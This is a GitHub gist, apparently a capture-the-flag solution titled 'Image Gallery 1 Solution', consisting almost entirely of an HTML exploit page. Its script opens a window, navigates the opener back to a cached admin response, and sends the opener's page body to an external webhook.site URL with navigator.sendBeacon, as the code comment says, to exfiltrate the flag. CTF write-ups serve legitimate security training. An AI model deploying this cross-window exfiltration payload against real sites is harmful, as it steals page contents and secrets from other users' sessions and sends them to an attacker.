Skip to content

Instantly share code, notes, and snippets.

@ma1f0y
Created February 26, 2024 01:11
Show Gist options
  • Save ma1f0y/966c907229cbbf7069ed15bb44ec1ff1 to your computer and use it in GitHub Desktop.
Save ma1f0y/966c907229cbbf7069ed15bb44ec1ff1 to your computer and use it in GitHub Desktop.
Image Gallery 1 Solution
<html>
<body>
<script>
// upload index.html to the public dir after the first admin visit which overwrites `/` response and use history.back() to exfill the flag
(async()=>{
if(opener){
opener.window.history.back()
await new Promise(r=>setTimeout(r,2000));
navigator.sendBeacon('https://webhook.site/572acb1c-44f1-433e-8a4d-8f55ae14799a',opener.window.document.body.innerHTML)
}else{
window.open('/?test')
}
})()
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment